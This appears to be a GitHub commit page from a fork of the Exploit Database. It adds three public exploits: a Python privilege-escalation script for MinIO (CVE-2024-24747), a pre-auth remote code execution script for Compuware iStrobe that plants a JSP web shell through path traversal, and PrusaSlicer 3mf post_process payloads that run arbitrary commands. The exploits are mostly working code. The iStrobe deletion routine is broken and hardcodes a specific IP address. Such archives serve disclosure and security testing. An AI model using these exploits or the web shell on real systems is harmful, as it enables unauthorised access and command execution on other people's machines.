forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge remote-tracking branch 'upstream/main'
- Loading branch information
Showing
19 changed files
with
1,192 additions
and
41 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,200 @@ | ||
# Exploit Title: MinIO < 2024-01-31T20-20-33Z - Privilege Escalation | ||
# Date: 2024-04-11 | ||
# Exploit Author: Jenson Zhao | ||
# Vendor Homepage: https://min.io/ | ||
# Software Link: https://github.com/minio/minio/ | ||
# Version: Up to (excluding) RELEASE.2024-01-31T20-20-33Z | ||
# Tested on: Windows 10 | ||
# CVE : CVE-2024-24747 | ||
# Required before execution: pip install minio,requests | ||
|
||
import argparse | ||
import datetime | ||
import traceback | ||
import urllib | ||
from xml.dom.minidom import parseString | ||
import requests | ||
import json | ||
import base64 | ||
from minio.credentials import Credentials | ||
from minio.signer import sign_v4_s3 | ||
|
||
class CVE_2024_24747: | ||
new_buckets = [] | ||
old_buckets = [] | ||
def __init__(self, host, port, console_port, accesskey, secretkey, verify=False): | ||
self.bucket_names = ['pocpublic', 'pocprivate'] | ||
self.new_accesskey = 'miniocvepoc' | ||
self.new_secretkey = 'MINIOcvePOC' | ||
self.headers = { | ||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36', | ||
'Content-Type': 'application/json', | ||
'Accept': '*/*' | ||
} | ||
self.accesskey = accesskey | ||
self.secretkey = secretkey | ||
self.verify = verify | ||
if verify: | ||
self.url = "https://" + host + ":" + port | ||
self.console_url = "https://" + host + ":" + console_port | ||
else: | ||
self.url = "http://" + host + ":" + port | ||
self.console_url = "http://" + host + ":" + console_port | ||
self.credits = Credentials( | ||
access_key=self.new_accesskey, | ||
secret_key=self.new_secretkey | ||
) | ||
self.login() | ||
try: | ||
self.create_buckets() | ||
self.create_accesskey() | ||
self.old_buckets = self.console_ls() | ||
self.console_exp() | ||
self.new_buckets = self.console_ls() | ||
|
||
except: | ||
traceback.print_stack() | ||
finally: | ||
self.delete_accesskey() | ||
self.delete_buckets() | ||
if len(self.new_buckets) > len(self.old_buckets): | ||
print("There is CVE-2024-24747 problem with the minio!") | ||
print("Before the exploit, the buckets are : " + str(self.old_buckets)) | ||
print("After the exploit, the buckets are : " + str(self.new_buckets)) | ||
else: | ||
print("There is no CVE-2024-24747 problem with the minio!") | ||
|
||
def login(self): | ||
url = self.url + "/api/v1/login" | ||
payload = json.dumps({ | ||
"accessKey": self.accesskey, | ||
"secretKey": self.secretkey | ||
}) | ||
self.session = requests.session() | ||
if self.verify: | ||
self.session.verify = False | ||
status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code | ||
# print(status_code) | ||
if status_code == 204: | ||
status_code = 0 | ||
else: | ||
print('Login failed! Please check if the input accesskey and secretkey are correct!') | ||
exit(1) | ||
def create_buckets(self): | ||
url = self.url + "/api/v1/buckets" | ||
for name in self.bucket_names: | ||
payload = json.dumps({ | ||
"name": name, | ||
"versioning": False, | ||
"locking": False | ||
}) | ||
status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code | ||
# print(status_code) | ||
if status_code == 200: | ||
status_code = 0 | ||
else: | ||
print("新建 (New)"+name+" bucket 失败 (fail)!") | ||
def delete_buckets(self): | ||
for name in self.bucket_names: | ||
url = self.url + "/api/v1/buckets/" + name | ||
status_code = self.session.request("DELETE", url, headers=self.headers).status_code | ||
# print(status_code) | ||
if status_code == 204: | ||
status_code = 0 | ||
else: | ||
print("删除 (delete)"+name+" bucket 失败 (fail)!") | ||
def create_accesskey(self): | ||
url = self.url + "/api/v1/service-account-credentials" | ||
payload = json.dumps({ | ||
"policy": "{ \n \"Version\":\"2012-10-17\", \n \"Statement\":[ \n { \n \"Effect\":\"Allow\", \n \"Action\":[ \n \"s3:*\" \n ], \n \"Resource\":[ \n \"arn:aws:s3:::pocpublic\", \n \"arn:aws:s3:::pocpublic/*\" \n ] \n } \n ] \n}", | ||
"accessKey": self.new_accesskey, | ||
"secretKey": self.new_secretkey | ||
}) | ||
status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code | ||
# print(status_code) | ||
if status_code == 201: | ||
# print("新建 (New)" + self.new_accesskey + " accessKey 成功 (success)!") | ||
# print(self.new_secretkey) | ||
status_code = 0 | ||
else: | ||
print("新建 (New)" + self.new_accesskey + " accessKey 失败 (fail)!") | ||
def delete_accesskey(self): | ||
url = self.url + "/api/v1/service-accounts/" + base64.b64encode(self.new_accesskey.encode("utf-8")).decode('utf-8') | ||
status_code = self.session.request("DELETE", url, headers=self.headers).status_code | ||
# print(status_code) | ||
if status_code == 204: | ||
# print("删除" + self.new_accesskey + " accessKey成功!") | ||
status_code = 0 | ||
else: | ||
print("删除 (delete)" + self.new_accesskey + " accessKey 失败 (fail)!") | ||
def headers_gen(self,url,sha256,method): | ||
datetimes = datetime.datetime.utcnow() | ||
datetime_str = datetimes.strftime('%Y%m%dT%H%M%SZ') | ||
urls = urllib.parse.urlparse(url) | ||
headers = { | ||
'X-Amz-Content-Sha256': sha256, | ||
'X-Amz-Date': datetime_str, | ||
'Host': urls.netloc, | ||
} | ||
headers = sign_v4_s3( | ||
method=method, | ||
url=urls, | ||
region='us-east-1', | ||
headers=headers, | ||
credentials=self.credits, | ||
content_sha256=sha256, | ||
date=datetimes, | ||
) | ||
return headers | ||
def console_ls(self): | ||
url = self.console_url + "/" | ||
sha256 = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" | ||
headers = self.headers_gen(url,sha256,'GET') | ||
if self.verify: | ||
response = requests.get(url,headers=headers,verify=False) | ||
else: | ||
response = requests.get(url, headers=headers) | ||
DOMTree = parseString(response.text) | ||
collection = DOMTree.documentElement | ||
buckets = collection.getElementsByTagName("Bucket") | ||
bucket_names = [] | ||
for bucket in buckets: | ||
bucket_names.append(bucket.getElementsByTagName("Name")[0].childNodes[0].data) | ||
# print('当前可查看的bucket有:\n' + str(bucket_names)) | ||
return bucket_names | ||
|
||
def console_exp(self): | ||
url = self.console_url + "/minio/admin/v3/update-service-account?accessKey=" + self.new_accesskey | ||
sha256 = "0f87fd59dff29507f82e189d4f493206ea7f370d0ce97b9cc8c1b7a4e609ec95" | ||
headers = self.headers_gen(url, sha256, 'POST') | ||
hex_string = "e1fd1c29bed167d5cf4986d3f224db2994b4942291dbd443399f249b84c79d9f00b9e0c0c7eed623a8621dee64713a3c8c63e9966ab62fcd982336" | ||
content = bytes.fromhex(hex_string) | ||
if self.verify: | ||
response = requests.post(url,headers=headers,data=content,verify=False) | ||
else: | ||
response = requests.post(url,headers=headers,data=content) | ||
status_code = response.status_code | ||
if status_code == 204: | ||
# print("提升" + self.new_accesskey + " 权限成功!") | ||
status_code = 0 | ||
else: | ||
print("提升 (promote)" + self.new_accesskey + " 权限失败 (Permission failed)!") | ||
|
||
if __name__ == '__main__': | ||
logo = """ | ||
____ ___ ____ _ _ ____ _ _ _____ _ _ _____ | ||
___ __ __ ___ |___ \ / _ \ |___ \ | || | |___ \ | || | |___ || || | |___ | | ||
/ __|\ \ / / / _ \ _____ __) || | | | __) || || |_ _____ __) || || |_ / / | || |_ / / | ||
| (__ \ V / | __/|_____| / __/ | |_| | / __/ |__ _||_____| / __/ |__ _| / / |__ _| / / | ||
\___| \_/ \___| |_____| \___/ |_____| |_| |_____| |_| /_/ |_| /_/ | ||
""" | ||
print(logo) | ||
parser = argparse.ArgumentParser() | ||
parser.add_argument("-H", "--host", required=True, help="Host of the target. example: 127.0.0.1") | ||
parser.add_argument("-a", "--accesskey", required=True, help="Minio AccessKey of the target. example: minioadmin") | ||
parser.add_argument("-s", "--secretkey", required=True, help="Minio SecretKey of the target. example: minioadmin") | ||
parser.add_argument("-c", "--console_port", required=True, help="Minio console port of the target. example: 9000") | ||
parser.add_argument("-p", "--port", required=True, help="Minio port of the target. example: 9090") | ||
parser.add_argument("--https", action='store_true', help="Is MinIO accessed through HTTPS.") | ||
args = parser.parse_args() | ||
CVE_2024_24747(args.host,args.port,args.console_port,args.accesskey,args.secretkey,args.https) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,74 @@ | ||
#!/usr/bin/env python3 | ||
|
||
# Exploit Title: Pre-auth RCE on Compuware iStrobe Web | ||
# Date: 01-08-2023 | ||
# Exploit Author: trancap | ||
# Vendor Homepage: https://www.bmc.com/ | ||
# Version: BMC Compuware iStrobe Web - 20.13 | ||
# Tested on: zOS# CVE : CVE-2023-40304 | ||
# To exploit this vulnerability you'll need "Guest access" enabled. The vulnerability is quite simple and impacts a web upload form, allowing a path traversal and an arbitrary file upload (.jsp files) | ||
# The vulnerable parameter of the form is "fileName". Using the form, one can upload a webshell (content of the webshell in the "topicText" parameter).# I contacted the vendor but he didn't consider this a vulnerability because of the Guest access needed. | ||
|
||
import requests | ||
import urllib.parse | ||
import argparse | ||
import sys | ||
|
||
def upload_web_shell(url): | ||
data = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"open","topicText":"<%@ | ||
page import=\"java.lang.*,java.io.*,java.util.*\" %><%Process | ||
p=Runtime.getRuntime().exec(request.getParameter(\"cmd\"));BufferedReader | ||
stdInput = new BufferedReader(new | ||
InputStreamReader(p.getInputStream()));BufferedReader stdError = new | ||
BufferedReader(new InputStreamReader(p.getErrorStream()));String | ||
s=\"\";while((s=stdInput.readLine()) != | ||
null){out.println(s);};s=\"\";while((s=stdError.readLine()) != | ||
null){out.println(s);};%>","lang":"en","type":"MODULE","status":"PUB"} | ||
# If encoded, the web shell will not be uploaded properly | ||
data = urllib.parse.urlencode(data, safe='"*<>,=()/;{}!') | ||
|
||
# Checking if web shell already uploaded | ||
r = requests.get(f"{url}/istrobe/jsp/userhelp/ws.jsp", verify=False) | ||
if r.status_code != 404: | ||
return | ||
|
||
r = requests.post(f"{url}/istrobe/userHelp/saveUserHelp", data=data, | ||
verify=False) | ||
|
||
if r.status_code == 200: | ||
print(f"[+] Successfully uploaded web shell, it should be | ||
accessible at {url}/istrobe/jsp/userhelp/ws.jsp") | ||
else: | ||
sys.exit("[-] Something went wrong while uploading the web shell") | ||
|
||
def delete_web_shell(url): | ||
paramsPost = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"delete","lang":"en","type":"MODULE","status":"PUB"} | ||
response = session.post("http://220.4.147.38:6301/istrobe/userHelp/deleteUserHelp", | ||
data=paramsPost, headers=headers, cookies=cookies) | ||
|
||
if r.status_code == 200: | ||
print(f"[+] Successfully deleted web shell") | ||
else: | ||
sys.exit("[-] Something went wrong while deleting the web shell") | ||
|
||
def run_cmd(url, cmd): | ||
data = f"cmd={cmd}" | ||
r = requests.post(f"{url}/istrobe/jsp/userhelp/ws.jsp", data=data, | ||
verify=False) | ||
|
||
if r.status_code == 200: | ||
print(r.text) | ||
else: | ||
sys.exit(f'[-] Something went wrong while executing "{cmd}" command') | ||
|
||
parser = argparse.ArgumentParser(prog='exploit_cve_2023_40304.py', description='CVE-2023-40304 - Pre-auth file upload vulnerability + path traversal to achieve RCE') | ||
parser.add_argument('url', help='Vulnerable URL to target. Must be like http(s)://vuln.target') | ||
parser.add_argument('-c', '--cmd', help='Command to execute on the remote host (Defaults to "whoami")', default='whoami') | ||
parser.add_argument('--rm', help='Deletes the uploaded web shell', action='store_true') | ||
args = parser.parse_args() | ||
|
||
upload_web_shell(args.url) | ||
run_cmd(args.url, args.cmd) | ||
|
||
if args.rm: | ||
delete_web_shell(args.url) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
# Exploit Title: PrusaSlicer 2.6.1 - Arbitrary code execution on g-code export | ||
# Date: 16/01/2024 | ||
# Exploit Author: Kamil Breński | ||
# Vendor Homepage: https://www.prusa3d.com | ||
# Software Link: https://github.com/prusa3d/PrusaSlicer | ||
# Version: PrusaSlicer up to and including version 2.6.1 | ||
# Tested on: Windows and Linux | ||
# CVE: CVE-2023-47268 | ||
|
||
========================================================================================== | ||
1.) 3mf Metadata extension | ||
========================================================================================== | ||
|
||
PrusaSlicer 3mf project (zip) archives contain the 'Metadata/Slic3r_PE.config' file which describe various project settings, this is an extension to the regular 3mf file. PrusaSlicer parses this additional file to read various project settings. One of the settings (post_process) is the post-processing script (https://help.prusa3d.com/article/post-processing-scripts_283913) this feature has great potential for abuse as it allows a malicious user to create an evil 3mf project that will execute arbitrary code when the targeted user exports g-code from the malicious project. A project file needs to be modified with a prost process script setting in order to execute arbitrary code, this is demonstrated on both a Windows and Linux host in the following way. | ||
|
||
========================================================================================== | ||
2.) PoC | ||
========================================================================================== | ||
|
||
For the linux PoC, this CLI command is enough to execute the payload contained in the project. './prusa-slicer -s code-exec-linux.3mf'. After slicing, a new file '/tmp/hax' will be created. This particular PoC contains this 'post_process' entry in the 'Slic3r_PE.config' file: | ||
|
||
``` | ||
; post_process = "/usr/bin/id > /tmp/hax #\necho 'Here I am, executing arbitrary code on this host. Thanks for slicing (x_x)'>> /tmp/hax #" | ||
``` | ||
|
||
Just slicing the 3mf using the `-s` flag is enough to start executing potentially malicious code. | ||
|
||
For the windows PoC with GUI, the malicious 3mf file needs to be opened as a project file (or the settings imported). After exporting, a pop-up executed by the payload will appear. The windows PoC contains this entry: | ||
|
||
``` | ||
; post_process = "C:\\Windows\\System32\\cmd.exe /c msg %username% Here I am, executing arbitrary code on this host. Thanks for slicing (x_x) " | ||
``` |
This file was deleted.
Oops, something went wrong.
Oops, something went wrong.